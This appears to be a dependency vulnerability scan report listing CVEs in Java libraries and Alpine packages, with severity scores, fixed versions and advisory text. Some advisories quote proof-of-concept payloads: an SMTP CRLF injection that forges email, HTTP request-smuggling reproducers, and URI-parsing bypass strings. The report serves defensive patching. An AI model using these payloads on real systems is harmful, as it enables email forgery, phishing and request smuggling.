- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.124.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.971%
EPSS Percentile76th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) - -pkg:maven/org.apache.commons/commons-configuration2@2.8.0
-medium 6.9: CVE--2024--29133 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
- -medium 6.5: CVE--2024--29131 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.124.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.054%
EPSS Percentile17th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.140%
EPSS Percentile35th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-medium : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | 